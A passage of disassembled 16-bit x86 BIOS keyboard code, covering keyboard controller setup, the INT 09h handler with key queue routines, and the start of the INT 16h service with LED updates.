; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 0516ch ; 75 08
mov AL, strict byte 031h ; b0 31
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 0515ah ; eb ee
mov dx, strict word 00060h ; ba 60 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp ax, 000aah ; 3d aa 00
je short 05185h ; 74 0e
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp ax, 000aah ; 3d aa 00
je short 05185h ; 74 06
mov ax, 003e2h ; b8 e2 03
call 05026h ; e8 a1 fe
mov AL, strict byte 0f5h ; b0 f5
mov dx, strict word 00060h ; ba 60 00
out DX, AL ; ee
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 002h ; a8 02
je short 051a5h ; 74 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 051a5h ; 76 08
mov AL, strict byte 040h ; b0 40
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 0518eh ; eb e9
test bx, bx ; 85 db
jne short 051afh ; 75 06
mov ax, strict word 00028h ; b8 28 00
call 05026h ; e8 77 fe
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 051c9h ; 75 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 051c9h ; 76 08
mov AL, strict byte 041h ; b0 41
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 051b2h ; eb e9
test bx, bx ; 85 db
jne short 051d3h ; 75 06
mov ax, strict word 00029h ; b8 29 00
call 05026h ; e8 53 fe
mov dx, strict word 00060h ; ba 60 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp ax, 000fah ; 3d fa 00
je short 051e4h ; 74 06
mov ax, 003e3h ; b8 e3 03
call 05026h ; e8 42 fe
mov AL, strict byte 060h ; b0 60
mov dx, strict word 00064h ; ba 64 00
out DX, AL ; ee
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 002h ; a8 02
je short 05204h ; 74 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 05204h ; 76 08
mov AL, strict byte 050h ; b0 50
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 051edh ; eb e9
test bx, bx ; 85 db
jne short 0520eh ; 75 06
mov ax, strict word 00032h ; b8 32 00
call 05026h ; e8 18 fe
mov AL, strict byte 065h ; b0 65
mov dx, strict word 00060h ; ba 60 00
out DX, AL ; ee
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 002h ; a8 02
je short 0522eh ; 74 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 0522eh ; 76 08
mov AL, strict byte 060h ; b0 60
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 05217h ; eb e9
test bx, bx ; 85 db
jne short 05238h ; 75 06
mov ax, strict word 0003ch ; b8 3c 00
call 05026h ; e8 ee fd
mov AL, strict byte 0f4h ; b0 f4
mov dx, strict word 00060h ; ba 60 00
out DX, AL ; ee
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 002h ; a8 02
je short 05258h ; 74 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 05258h ; 76 08
mov AL, strict byte 070h ; b0 70
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 05241h ; eb e9
test bx, bx ; 85 db
jne short 05262h ; 75 06
mov ax, strict word 00046h ; b8 46 00
call 05026h ; e8 c4 fd
mov bx, strict word 0ffffh ; bb ff ff
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 0527ch ; 75 0d
dec bx ; 4b
test bx, bx ; 85 db
jbe short 0527ch ; 76 08
mov AL, strict byte 071h ; b0 71
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 05265h ; eb e9
test bx, bx ; 85 db
jne short 05286h ; 75 06
mov ax, strict word 00046h ; b8 46 00
call 05026h ; e8 a0 fd
mov dx, strict word 00060h ; ba 60 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp ax, 000fah ; 3d fa 00
je short 05297h ; 74 06
mov ax, 003e4h ; b8 e4 03
call 05026h ; e8 8f fd
mov AL, strict byte 0a8h ; b0 a8
mov dx, strict word 00064h ; ba 64 00
out DX, AL ; ee
xor ax, ax ; 31 c0
call 0679eh ; e8 fc 14
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
enqueue_key_: ; 0xf52a6 LB 0x9e
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push si ; 56
push di ; 57
push ax ; 50
mov byte [bp-00ah], al ; 88 46 f6
mov bl, dl ; 88 d3
mov dx, strict word 0001ah ; ba 1a 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 b2 c3
mov di, ax ; 89 c7
mov dx, strict word 0001ch ; ba 1c 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 a7 c3
mov si, ax ; 89 c6
lea cx, [si+002h] ; 8d 4c 02
cmp cx, strict byte 0003eh ; 83 f9 3e
jc short 052d4h ; 72 03
mov cx, strict word 0001eh ; b9 1e 00
cmp cx, di ; 39 f9
jne short 052dch ; 75 04
xor ax, ax ; 31 c0
jmp short 05306h ; eb 2a
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, si ; 89 f2
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 76 c3
mov bl, byte [bp-00ah] ; 8a 5e f6
xor bh, bh ; 30 ff
lea dx, [si+001h] ; 8d 54 01
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 68 c3
mov bx, cx ; 89 cb
mov dx, strict word 0001ch ; ba 1c 00
mov ax, strict word 00040h ; b8 40 00
call 0167ch ; e8 79 c3
mov ax, strict word 00001h ; b8 01 00
lea sp, [bp-008h] ; 8d 66 f8
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
db 0d4h, 0c6h, 0c5h, 0bah, 0b8h, 0b6h, 0aah, 09dh, 054h, 053h, 046h, 045h, 03ah, 038h, 036h, 02ah
db 01dh, 08ah, 056h, 045h, 054h, 0e5h, 053h, 0e5h, 053h, 0d4h, 054h, 0b6h, 053h, 058h, 055h, 0c9h
db 055h, 070h, 056h, 04eh, 056h, 08ch, 054h, 0e5h, 053h, 0e5h, 053h, 016h, 055h, 0d6h, 053h, 0a9h
db 055h, 02eh, 056h, 069h, 056h
_int09_function: ; 0xf5344 LB 0x4cd
push bp ; 55
mov bp, sp ; 89 e5
push di ; 57
sub sp, strict byte 00010h ; 83 ec 10
mov al, byte [bp+014h] ; 8a 46 14
mov byte [bp-004h], al ; 88 46 fc
test al, al ; 84 c0
jne short 05371h ; 75 1c
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 d3 c5
mov ax, 00587h ; b8 87 05
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 0b c6
add sp, strict byte 00004h ; 83 c4 04
jmp near 0543fh ; e9 ce 00
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 d8 c2
mov byte [bp-006h], al ; 88 46 fa
mov byte [bp-008h], al ; 88 46 f8
mov dx, 00096h ; ba 96 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 c9 c2
mov byte [bp-00ah], al ; 88 46 f6
mov byte [bp-010h], al ; 88 46 f0
mov dx, strict word 00017h ; ba 17 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 ba c2
mov byte [bp-00ch], al ; 88 46 f4
mov byte [bp-00eh], al ; 88 46 f2
mov al, byte [bp-004h] ; 8a 46 fc
push CS ; 0e
pop ES ; 07
mov cx, strict word 00012h ; b9 12 00
mov di, 0530fh ; bf 0f 53
repne scasb ; f2 ae
sal cx, 1 ; d1 e1
mov di, cx ; 89 cf
mov ax, word [cs:di+05320h] ; 2e 8b 85 20 53
jmp ax ; ff e0
xor byte [bp-00eh], 040h ; 80 76 f2 40
mov bl, byte [bp-00eh] ; 8a 5e f2
xor bh, bh ; 30 ff
mov dx, strict word 00017h ; ba 17 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 98 c2
or byte [bp-008h], 040h ; 80 4e f8 40
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
jmp near 0565eh ; e9 88 02
mov al, byte [bp-006h] ; 8a 46 fa
and AL, strict byte 0bfh ; 24 bf
mov byte [bp-008h], al ; 88 46 f8
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
jmp near 0565eh ; e9 79 02
test byte [bp-010h], 002h ; f6 46 f0 02
jne short 0541eh ; 75 33
mov al, byte [bp-004h] ; 8a 46 fc
and AL, strict byte 07fh ; 24 7f
cmp AL, strict byte 02ah ; 3c 2a
jne short 053f9h ; 75 05
mov bx, strict word 00002h ; bb 02 00
jmp short 053fch ; eb 03
mov bx, strict word 00001h ; bb 01 00
test byte [bp-004h], 080h ; f6 46 fc 80
je short 0540bh ; 74 09
mov al, bl ; 88 d8
not al ; f6 d0
and byte [bp-00eh], al ; 20 46 f2
jmp short 0540eh ; eb 03
or byte [bp-00eh], bl ; 08 5e f2
mov al, byte [bp-00eh] ; 8a 46 f2
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00017h ; ba 17 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 42 c2
mov al, byte [bp-004h] ; 8a 46 fc
and AL, strict byte 07fh ; 24 7f
cmp AL, strict byte 01dh ; 3c 1d
je short 0542bh ; 74 04
and byte [bp-010h], 0feh ; 80 66 f0 fe
and byte [bp-010h], 0fdh ; 80 66 f0 fd
mov al, byte [bp-010h] ; 8a 46 f0
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, 00096h ; ba 96 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 21 c2
lea sp, [bp-002h] ; 8d 66 fe
pop di ; 5f
pop bp ; 5d
retn ; c3
test byte [bp-00ah], 001h ; f6 46 f6 01
jne short 0541eh ; 75 d3
mov al, byte [bp-00ch] ; 8a 46 f4
or AL, strict byte 004h ; 0c 04
mov byte [bp-00eh], al ; 88 46 f2
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00017h ; ba 17 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 00 c2
mov al, byte [bp-00ah] ; 8a 46 f6
test AL, strict byte 002h ; a8 02
je short 05475h ; 74 0e
or AL, strict byte 004h ; 0c 04
mov byte [bp-010h], al ; 88 46 f0
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, 00096h ; ba 96 00
jmp short 05484h ; eb 0f
mov al, byte [bp-006h] ; 8a 46 fa
or AL, strict byte 001h ; 0c 01
mov byte [bp-008h], al ; 88 46 f8
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 d6 c1
jmp short 0541eh ; eb 92
test byte [bp-00ah], 001h ; f6 46 f6 01
jne short 0541eh ; 75 8c
mov al, byte [bp-00ch] ; 8a 46 f4
and AL, strict byte 0fbh ; 24 fb
mov byte [bp-00eh], al ; 88 46 f2
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
mov dx, strict word 00017h ; ba 17 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 b9 c1
mov al, byte [bp-00ah] ; 8a 46 f6
test AL, strict byte 002h ; a8 02
je short 054bch ; 74 0e
and AL, strict byte 0fbh ; 24 fb
mov byte [bp-010h], al ; 88 46 f0
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, 00096h ; ba 96 00
jmp short 054cbh ; eb 0f
mov al, byte [bp-006h] ; 8a 46 fa
and AL, strict byte 0feh ; 24 fe
mov byte [bp-008h], al ; 88 46 f8
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 8f c1
jmp near 0541eh ; e9 4a ff
mov al, byte [bp-00ch] ; 8a 46 f4
or AL, strict byte 008h ; 0c 08
mov byte [bp-00eh], al ; 88 46 f2
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
mov dx, strict word 00017h ; ba 17 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 77 c1
mov al, byte [bp-00ah] ; 8a 46 f6
test AL, strict byte 002h ; a8 02
je short 054feh ; 74 0e
or AL, strict byte 008h ; 0c 08
mov byte [bp-010h], al ; 88 46 f0
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, 00096h ; ba 96 00
jmp short 0550dh ; eb 0f
mov al, byte [bp-006h] ; 8a 46 fa
or AL, strict byte 002h ; 0c 02
mov byte [bp-008h], al ; 88 46 f8
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 4d c1
jmp near 0541eh ; e9 08 ff
mov al, byte [bp-00ch] ; 8a 46 f4
and AL, strict byte 0f7h ; 24 f7
mov byte [bp-00eh], al ; 88 46 f2
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00017h ; ba 17 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 35 c1
mov al, byte [bp-00ah] ; 8a 46 f6
test AL, strict byte 002h ; a8 02
je short 05540h ; 74 0e
and AL, strict byte 0f7h ; 24 f7
mov byte [bp-010h], al ; 88 46 f0
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, 00096h ; ba 96 00
jmp short 0554fh ; eb 0f
mov al, byte [bp-006h] ; 8a 46 fa
and AL, strict byte 0fdh ; 24 fd
mov byte [bp-008h], al ; 88 46 f8
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 0b c1
jmp near 0541eh ; e9 c6 fe
test byte [bp-00ah], 003h ; f6 46 f6 03
jne short 0557bh ; 75 1d
mov al, byte [bp-006h] ; 8a 46 fa
or AL, strict byte 020h ; 0c 20
mov byte [bp-008h], al ; 88 46 f8
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 ed c0
mov al, byte [bp-00ch] ; 8a 46 f4
xor AL, strict byte 020h ; 34 20
jmp near 0561ch ; e9 a1 00
mov al, byte [bp-006h] ; 8a 46 fa
or AL, strict byte 008h ; 0c 08
mov byte [bp-008h], al ; 88 46 f8
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 d0 c0
mov AL, strict byte 0aeh ; b0 ae
mov dx, strict word 00064h ; ba 64 00
out DX, AL ; ee
call 0e034h ; e8 9b 8a
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 b0 c0
test AL, strict byte 008h ; a8 08
jne short 05599h ; 75 f3
jmp near 0541eh ; e9 75 fe
test byte [bp-00ah], 003h ; f6 46 f6 03
je short 055b2h ; 74 03
jmp near 0541eh ; e9 6c fe
mov al, byte [bp-006h] ; 8a 46 fa
and AL, strict byte 0dfh ; 24 df
mov byte [bp-008h], al ; 88 46 f8
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 99 c0
jmp short 055afh ; eb e6
test byte [bp-00ah], 002h ; f6 46 f6 02
je short 05602h ; 74 33
mov dx, strict word 0001ah ; ba 1a 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 96 c0
mov bx, ax ; 89 c3
mov dx, strict word 0001ch ; ba 1c 00
mov ax, strict word 00040h ; b8 40 00
call 0167ch ; e8 99 c0
mov bx, 00080h ; bb 80 00
mov dx, strict word 00071h ; ba 71 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 71 c0
mov AL, strict byte 0aeh ; b0 ae
mov dx, strict word 00064h ; ba 64 00
out DX, AL ; ee
push bp ; 55
int 01bh ; cd 1b
pop bp ; 5d
xor dx, dx ; 31 d2
xor ax, ax ; 31 c0
call 052a6h ; e8 a6 fc
jmp short 055afh ; eb ad
mov al, byte [bp-006h] ; 8a 46 fa
or AL, strict byte 010h ; 0c 10
mov byte [bp-008h], al ; 88 46 f8
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 49 c0
mov al, byte [bp-00ch] ; 8a 46 f4
xor AL, strict byte 010h ; 34 10
mov byte [bp-00eh], al ; 88 46 f2
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00017h ; ba 17 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 34 c0
jmp short 055afh ; eb 81
test byte [bp-00ah], 002h ; f6 46 f6 02
je short 05637h ; 74 03
jmp near 0541eh ; e9 e7 fd
mov al, byte [bp-006h] ; 8a 46 fa
and AL, strict byte 0efh ; 24 ef
mov byte [bp-008h], al ; 88 46 f8
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 14 c0
jmp short 05634h ; eb e6
mov al, byte [bp-006h] ; 8a 46 fa
test AL, strict byte 004h ; a8 04
jne short 05634h ; 75 df
or AL, strict byte 004h ; 0c 04
mov byte [bp-008h], al ; 88 46 f8
mov bl, al ; 88 c3
xor bh, bh ; 30 ff
mov dx, strict word 00018h ; ba 18 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 f9 bf
jmp short 05634h ; eb cb
mov al, byte [bp-006h] ; 8a 46 fa
and AL, strict byte 0fbh ; 24 fb
jmp short 05657h ; eb e7
mov al, byte [bp-00ch] ; 8a 46 f4
and AL, strict byte 00ch ; 24 0c
cmp AL, strict byte 00ch ; 3c 0c
jne short 0568ah ; 75 11
mov bx, 01234h ; bb 34 12
mov dx, strict word 00072h ; ba 72 00
mov ax, strict word 00040h ; b8 40 00
call 0167ch ; e8 f7 bf
jmp far 0f000h:0e05bh ; ea 5b e0 00 f0
test byte [bp-008h], 008h ; f6 46 f8 08
je short 056a1h ; 74 11
and byte [bp-008h], 0f7h ; 80 66 f8 f7
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, strict word 00018h ; ba 18 00
jmp near 05439h ; e9 98 fd
mov al, byte [bp-004h] ; 8a 46 fc
test AL, strict byte 080h ; a8 80
je short 056dfh ; 74 37
cmp AL, strict byte 0fah ; 3c fa
jne short 056beh ; 75 12
mov dx, 00097h ; ba 97 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 9d bf
mov bl, al ; 88 c3
or bl, 010h ; 80 cb 10
xor bh, bh ; 30 ff
jmp short 056d4h ; eb 16
cmp AL, strict byte 0feh ; 3c fe
je short 056c5h ; 74 03
jmp near 0541eh ; e9 59 fd
mov dx, 00097h ; ba 97 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 84 bf
or AL, strict byte 020h ; 0c 20
xor ah, ah ; 30 e4
mov bx, ax ; 89 c3
mov dx, 00097h ; ba 97 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 83 bf
jmp short 056c2h ; eb e3
cmp byte [bp-004h], 058h ; 80 7e fc 58
jbe short 05707h ; 76 22
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 43 c2
mov al, byte [bp-004h] ; 8a 46 fc
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 005a1h ; b8 a1 05
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 75 c2
add sp, strict byte 00006h ; 83 c4 06
jmp near 0543fh ; e9 38 fd
mov al, byte [bp-00eh] ; 8a 46 f2
test AL, strict byte 008h ; a8 08
je short 05728h ; 74 1a
mov al, byte [bp-004h] ; 8a 46 fc
xor ah, ah ; 30 e4
mov bx, strict word 0000ah ; bb 0a 00
imul bx ; f7 eb
mov bx, ax ; 89 c3
mov al, byte [bx+00df4h] ; 8a 87 f4 0d
mov byte [bp-012h], al ; 88 46 ee
mov al, byte [bx+00df5h] ; 8a 87 f5 0d
jmp near 057dah ; e9 b2 00
test AL, strict byte 004h ; a8 04
je short 05746h ; 74 1a
mov al, byte [bp-004h] ; 8a 46 fc
xor ah, ah ; 30 e4
mov dx, strict word 0000ah ; ba 0a 00
imul dx ; f7 ea
mov bx, ax ; 89 c3
mov al, byte [bx+00df2h] ; 8a 87 f2 0d
mov byte [bp-012h], al ; 88 46 ee
mov al, byte [bx+00df3h] ; 8a 87 f3 0d
jmp near 057dah ; e9 94 00
mov al, byte [bp-010h] ; 8a 46 f0
and AL, strict byte 002h ; 24 02
test al, al ; 84 c0
jbe short 05769h ; 76 1a
mov al, byte [bp-004h] ; 8a 46 fc
cmp AL, strict byte 047h ; 3c 47
jc short 05769h ; 72 13
cmp AL, strict byte 053h ; 3c 53
jnbe short 05769h ; 77 0f
mov byte [bp-012h], 0e0h ; c6 46 ee e0
xor ah, ah ; 30 e4
mov dx, strict word 0000ah ; ba 0a 00
imul dx ; f7 ea
mov bx, ax ; 89 c3
jmp short 057d6h ; eb 6d
test byte [bp-00eh], 003h ; f6 46 f2 03
je short 057a7h ; 74 38
mov al, byte [bp-004h] ; 8a 46 fc
xor ah, ah ; 30 e4
mov dx, strict word 0000ah ; ba 0a 00
imul dx ; f7 ea
mov bx, ax ; 89 c3
mov al, byte [bx+00df6h] ; 8a 87 f6 0d
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
mov al, byte [bp-00eh] ; 8a 46 f2
test ax, dx ; 85 d0
je short 05797h ; 74 0d
mov al, byte [bx+00deeh] ; 8a 87 ee 0d
mov byte [bp-012h], al ; 88 46 ee
mov al, byte [bx+00defh] ; 8a 87 ef 0d
jmp short 057a2h ; eb 0b
mov al, byte [bx+00df0h] ; 8a 87 f0 0d
mov byte [bp-012h], al ; 88 46 ee
mov al, byte [bx+00df1h] ; 8a 87 f1 0d
mov byte [bp-004h], al ; 88 46 fc
jmp short 057ddh ; eb 36
mov al, byte [bp-004h] ; 8a 46 fc
xor ah, ah ; 30 e4
mov bx, strict word 0000ah ; bb 0a 00
imul bx ; f7 eb
mov bx, ax ; 89 c3
mov al, byte [bx+00df6h] ; 8a 87 f6 0d
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
mov al, byte [bp-00eh] ; 8a 46 f2
test ax, dx ; 85 d0
je short 057cfh ; 74 0d
mov al, byte [bx+00df0h] ; 8a 87 f0 0d
mov byte [bp-012h], al ; 88 46 ee
mov al, byte [bx+00df1h] ; 8a 87 f1 0d
jmp short 057dah ; eb 0b
mov al, byte [bx+00deeh] ; 8a 87 ee 0d
mov byte [bp-012h], al ; 88 46 ee
mov al, byte [bx+00defh] ; 8a 87 ef 0d
mov byte [bp-004h], al ; 88 46 fc
cmp byte [bp-004h], 000h ; 80 7e fc 00
jne short 05802h ; 75 1f
cmp byte [bp-012h], 000h ; 80 7e ee 00
jne short 05802h ; 75 19
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 3f c1
mov ax, 005d8h ; b8 d8 05
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 77 c1
add sp, strict byte 00004h ; 83 c4 04
mov bl, byte [bp-012h] ; 8a 5e ee
xor bh, bh ; 30 ff
mov al, byte [bp-004h] ; 8a 46 fc
xor ah, ah ; 30 e4
mov dx, bx ; 89 da
jmp near 055fdh ; e9 ec fd
dequeue_key_: ; 0xf5811 LB 0x94
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
push ax ; 50
mov di, ax ; 89 c7
mov word [bp-006h], dx ; 89 56 fa
mov si, bx ; 89 de
mov word [bp-008h], cx ; 89 4e f8
mov dx, strict word 0001ah ; ba 1a 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 43 be
mov bx, ax ; 89 c3
mov dx, strict word 0001ch ; ba 1c 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 38 be
cmp bx, ax ; 39 c3
je short 05877h ; 74 3d
mov dx, bx ; 89 da
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 10 be
mov cl, al ; 88 c1
lea dx, [bx+001h] ; 8d 57 01
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 05 be
mov es, [bp-008h] ; 8e 46 f8
mov byte [es:si], cl ; 26 88 0c
mov es, [bp-006h] ; 8e 46 fa
mov byte [es:di], al ; 26 88 05
cmp word [bp+004h], strict byte 00000h ; 83 7e 04 00
je short 05872h ; 74 13
inc bx ; 43
inc bx ; 43
cmp bx, strict byte 0003eh ; 83 fb 3e
jc short 05869h ; 72 03
mov bx, strict word 0001eh ; bb 1e 00
mov dx, strict word 0001ah ; ba 1a 00
mov ax, strict word 00040h ; b8 40 00
call 0167ch ; e8 0a be
mov ax, strict word 00001h ; b8 01 00
jmp short 05879h ; eb 02
xor ax, ax ; 31 c0
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00002h ; c2 02 00
mov byte [01292h], AL ; a2 92 12
adc word [bx+si], dx ; 11 10
or cl, byte [bx+di] ; 0a 09
add ax, 00102h ; 05 02 01
add byte [di+06859h], ch ; 00 ad 59 68
pop cx ; 59
std ; fd
pop cx ; 59
inc dx ; 42
pop dx ; 5a
push bp ; 55
pop dx ; 5a
jl short 058f3h ; 7c 5a
xchg byte [bp+si-00bh], bl ; 86 5a f5
pop dx ; 5a
sub AL, strict byte 05bh ; 2c 5b
pop bp ; 5d
pop bx ; 5b
xchg sp, ax ; 94
pop bx ; 5b
db 0f7h
pop cx ; 59
_int16_function: ; 0xf58a5 LB 0x2fa
push bp ; 55
mov bp, sp ; 89 e5
push di ; 57
sub sp, strict byte 00006h ; 83 ec 06
mov dx, strict word 00017h ; ba 17 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 9d bd
mov cl, al ; 88 c1
mov bl, al ; 88 c3
mov dx, 00097h ; ba 97 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 90 bd
mov bh, al ; 88 c7
mov dl, cl ; 88 ca
xor dh, dh ; 30 f6
mov CL, strict byte 004h ; b1 04
sar dx, CL ; d3 fa
and dl, 007h ; 80 e2 07
and AL, strict byte 007h ; 24 07
xor ah, ah ; 30 e4
xor al, dl ; 30 d0
test ax, ax ; 85 c0
je short 05947h ; 74 6e
cli ; fa
mov AL, strict byte 0edh ; b0 ed
mov dx, strict word 00060h ; ba 60 00
out DX, AL ; ee
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 058f2h ; 75 08
mov AL, strict byte 021h ; b0 21
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 058e0h ; eb ee
mov dx, strict word 00060h ; ba 60 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
cmp ax, 000fah ; 3d fa 00
jne short 05946h ; 75 49
and bh, 0c8h ; 80 e7 c8
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
mov CL, strict byte 004h ; b1 04
sar ax, CL ; d3 f8
mov cx, ax ; 89 c1
xor ch, ah ; 30 e5
and cl, 007h ; 80 e1 07
mov al, bh ; 88 f8
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
or dx, cx ; 09 ca
mov bh, dl ; 88 d7
mov al, dl ; 88 d0
and AL, strict byte 007h ; 24 07
mov dx, strict word 00060h ; ba 60 00
out DX, AL ; ee
mov dx, strict word 00064h ; ba 64 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 05933h ; 75 08
mov AL, strict byte 021h ; b0 21
mov dx, 00080h ; ba 80 00
out DX, AL ; ee
jmp short 05921h ; eb ee
mov dx, strict word 00060h ; ba 60 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov bl, bh ; 88 fb
xor bh, bh ; 30 ff
mov dx, 00097h ; ba 97 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 1a bd
sti ; fb
mov CL, strict byte 008h ; b1 08
mov ax, word [bp+012h] ; 8b 46 12
shr ax, CL ; d3 e8
